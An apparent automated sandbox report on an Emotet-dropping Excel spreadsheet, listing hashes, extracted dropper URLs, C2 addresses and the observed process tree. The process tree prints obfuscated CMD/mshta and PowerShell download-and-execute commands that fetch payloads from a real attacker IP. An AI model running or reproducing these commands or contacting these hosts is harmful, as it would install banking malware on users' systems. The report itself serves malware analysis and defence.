Analysis

  • max time kernel
    161s
  • max time network
    177s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    28-01-2022 01:16

General

  • Target

    Form - Jan 28, 2022.xls

  • Size

    47KB

  • MD5

    e35cd89022ef7b43a28d8bc20e3fb972

  • SHA1

    45a4e3c25405ad842147b39b4e3a86bcb0460fb7

  • SHA256

    57449a2fc67cc3dd61c322753f14492ce47a4d9ebda40385905794d2d66ca0dc

  • SHA512

    812788761718bb96ff7b10c7b1cc6ab4000b464137c9d2a609b8a0ad19e491b9a460b960b89853e7f8339d59c5ac7d7060294f7c7fd39da2511438eb6b92e159

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://91.240.118.168/vvv/ppp/fe.html

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://91.240.118.168/vvv/ppp/fe.png

Extracted

Family

emotet

Botnet

Epoch4

C2

51.15.4.22:443

173.214.173.220:8080

212.237.5.209:443

192.254.71.210:443

216.158.226.206:443

162.243.175.63:443

212.24.98.99:8080

58.227.42.236:80

45.118.115.99:8080

104.251.214.46:8080

185.157.82.209:8080

46.55.222.11:443

188.40.137.206:8080

81.0.236.90:443

103.75.201.2:443

129.232.188.93:443

195.154.133.20:443

159.8.59.82:8080

79.172.212.216:8080

138.185.72.26:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 5 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde "C:\Users\Admin\AppData\Local\Temp\Form - Jan 28, 2022.xls"
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:976
    • C:\Windows\SysWOW64\CMD.EXE
      CMD.EXE /c ms^hta http://91.2^40.118.1^68/vvv/ppp/f^e.ht^m^l
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:240
      • C:\Windows\SysWOW64\mshta.exe
        mshta http://91.240.118.168/vvv/ppp/fe.html
        3⤵
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        • Suspicious use of WriteProcessMemory
        PID:1676
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.168/vvv/ppp/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1212
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll BBDD
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:2016
            • C:\Windows\SysWow64\rundll32.exe
              C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll BBDD
              6⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:1264
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
                7⤵
                • Loads dropped DLL
                • Drops file in System32 directory
                • Suspicious use of WriteProcessMemory
                PID:316
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Qiqaxrcqxam\apwskcrpmsv.htu",bwKg
                  8⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1060
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Qiqaxrcqxam\apwskcrpmsv.htu",DllRegisterServer
                    9⤵
                    • Blocklisted process makes network request
                    • Suspicious behavior: EnumeratesProcesses
                    PID:1304

Network

MITRE ATT&CK Matrix ATT&CK v6

Defense Evasion

Modify Registry

1
T1112

Discovery

System Information Discovery

2
T1082

Query Registry

1
T1012

Replay Monitor

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Downloads

  • C:\ProgramData\QWER.dll
    MD5

    568ddf4d26baa3fadb6f5903e18119cc

    SHA1

    c556ef89517f7b5cc51fa96d042958eb553e6519

    SHA256

    74aa2232dc8b7f2c8adf5dc56ab90d92883bf31939ea183609d99a75038b6254

    SHA512

    98f09c6193970cf67a2f392760471e3009501de94189c908b63ee13941a7497ee622ea5798c4c7efc66ebead9d624a95d8c2a5dab633170ae779c869e4ff5df4

  • \ProgramData\QWER.dll
    MD5

    568ddf4d26baa3fadb6f5903e18119cc

    SHA1

    c556ef89517f7b5cc51fa96d042958eb553e6519

    SHA256

    74aa2232dc8b7f2c8adf5dc56ab90d92883bf31939ea183609d99a75038b6254

    SHA512

    98f09c6193970cf67a2f392760471e3009501de94189c908b63ee13941a7497ee622ea5798c4c7efc66ebead9d624a95d8c2a5dab633170ae779c869e4ff5df4

  • \ProgramData\QWER.dll
    MD5

    568ddf4d26baa3fadb6f5903e18119cc

    SHA1

    c556ef89517f7b5cc51fa96d042958eb553e6519

    SHA256

    74aa2232dc8b7f2c8adf5dc56ab90d92883bf31939ea183609d99a75038b6254

    SHA512

    98f09c6193970cf67a2f392760471e3009501de94189c908b63ee13941a7497ee622ea5798c4c7efc66ebead9d624a95d8c2a5dab633170ae779c869e4ff5df4

  • \ProgramData\QWER.dll
    MD5

    568ddf4d26baa3fadb6f5903e18119cc

    SHA1

    c556ef89517f7b5cc51fa96d042958eb553e6519

    SHA256

    74aa2232dc8b7f2c8adf5dc56ab90d92883bf31939ea183609d99a75038b6254

    SHA512

    98f09c6193970cf67a2f392760471e3009501de94189c908b63ee13941a7497ee622ea5798c4c7efc66ebead9d624a95d8c2a5dab633170ae779c869e4ff5df4

  • \ProgramData\QWER.dll
    MD5

    568ddf4d26baa3fadb6f5903e18119cc

    SHA1

    c556ef89517f7b5cc51fa96d042958eb553e6519

    SHA256

    74aa2232dc8b7f2c8adf5dc56ab90d92883bf31939ea183609d99a75038b6254

    SHA512

    98f09c6193970cf67a2f392760471e3009501de94189c908b63ee13941a7497ee622ea5798c4c7efc66ebead9d624a95d8c2a5dab633170ae779c869e4ff5df4

  • \ProgramData\QWER.dll
    MD5

    568ddf4d26baa3fadb6f5903e18119cc

    SHA1

    c556ef89517f7b5cc51fa96d042958eb553e6519

    SHA256

    74aa2232dc8b7f2c8adf5dc56ab90d92883bf31939ea183609d99a75038b6254

    SHA512

    98f09c6193970cf67a2f392760471e3009501de94189c908b63ee13941a7497ee622ea5798c4c7efc66ebead9d624a95d8c2a5dab633170ae779c869e4ff5df4

  • \ProgramData\QWER.dll
    MD5

    568ddf4d26baa3fadb6f5903e18119cc

    SHA1

    c556ef89517f7b5cc51fa96d042958eb553e6519

    SHA256

    74aa2232dc8b7f2c8adf5dc56ab90d92883bf31939ea183609d99a75038b6254

    SHA512

    98f09c6193970cf67a2f392760471e3009501de94189c908b63ee13941a7497ee622ea5798c4c7efc66ebead9d624a95d8c2a5dab633170ae779c869e4ff5df4

  • \ProgramData\QWER.dll
    MD5

    568ddf4d26baa3fadb6f5903e18119cc

    SHA1

    c556ef89517f7b5cc51fa96d042958eb553e6519

    SHA256

    74aa2232dc8b7f2c8adf5dc56ab90d92883bf31939ea183609d99a75038b6254

    SHA512

    98f09c6193970cf67a2f392760471e3009501de94189c908b63ee13941a7497ee622ea5798c4c7efc66ebead9d624a95d8c2a5dab633170ae779c869e4ff5df4

  • \ProgramData\QWER.dll
    MD5

    568ddf4d26baa3fadb6f5903e18119cc

    SHA1

    c556ef89517f7b5cc51fa96d042958eb553e6519

    SHA256

    74aa2232dc8b7f2c8adf5dc56ab90d92883bf31939ea183609d99a75038b6254

    SHA512

    98f09c6193970cf67a2f392760471e3009501de94189c908b63ee13941a7497ee622ea5798c4c7efc66ebead9d624a95d8c2a5dab633170ae779c869e4ff5df4

  • memory/316-84-0x0000000001D80000-0x0000000001DA5000-memory.dmp
    Filesize

    148KB

  • memory/316-91-0x0000000002960000-0x0000000002985000-memory.dmp
    Filesize

    148KB

  • memory/316-88-0x00000000027A0000-0x00000000027C5000-memory.dmp
    Filesize

    148KB

  • memory/316-78-0x0000000000210000-0x0000000000235000-memory.dmp
    Filesize

    148KB

  • memory/316-82-0x0000000001CE0000-0x0000000001D05000-memory.dmp
    Filesize

    148KB

  • memory/976-117-0x000000005FFF0000-0x0000000060000000-memory.dmp
    Filesize

    64KB

  • memory/976-57-0x0000000076071000-0x0000000076073000-memory.dmp
    Filesize

    8KB

  • memory/976-56-0x000000005FFF0000-0x0000000060000000-memory.dmp
    Filesize

    64KB

  • memory/976-55-0x0000000071DB1000-0x0000000071DB3000-memory.dmp
    Filesize

    8KB

  • memory/976-54-0x000000002FB11000-0x000000002FB14000-memory.dmp
    Filesize

    12KB

  • memory/1060-92-0x0000000000150000-0x0000000000175000-memory.dmp
    Filesize

    148KB

  • memory/1212-63-0x00000000021B1000-0x00000000021B2000-memory.dmp
    Filesize

    4KB

  • memory/1212-62-0x00000000021B0000-0x00000000021B1000-memory.dmp
    Filesize

    4KB

  • memory/1212-64-0x00000000021B2000-0x00000000021B4000-memory.dmp
    Filesize

    8KB

  • memory/1264-71-0x0000000000240000-0x0000000000265000-memory.dmp
    Filesize

    148KB

  • memory/1304-102-0x0000000000550000-0x0000000000575000-memory.dmp
    Filesize

    148KB

  • memory/1304-100-0x0000000000410000-0x0000000000435000-memory.dmp
    Filesize

    148KB

  • memory/1304-98-0x0000000000230000-0x0000000000255000-memory.dmp
    Filesize

    148KB

  • memory/1304-106-0x0000000002580000-0x00000000025A5000-memory.dmp
    Filesize

    148KB

  • memory/1304-108-0x0000000002620000-0x0000000002645000-memory.dmp
    Filesize

    148KB

  • memory/1304-110-0x0000000002830000-0x0000000002855000-memory.dmp
    Filesize

    148KB

  • memory/1304-112-0x0000000002A70000-0x0000000002A95000-memory.dmp
    Filesize

    148KB

  • memory/1304-115-0x0000000002AD0000-0x0000000002AF5000-memory.dmp
    Filesize

    148KB

  • memory/1304-114-0x0000000002AD1000-0x0000000002AF2000-memory.dmp
    Filesize

    132KB

  • memory/1304-96-0x00000000001A0000-0x00000000001C5000-memory.dmp
    Filesize

    148KB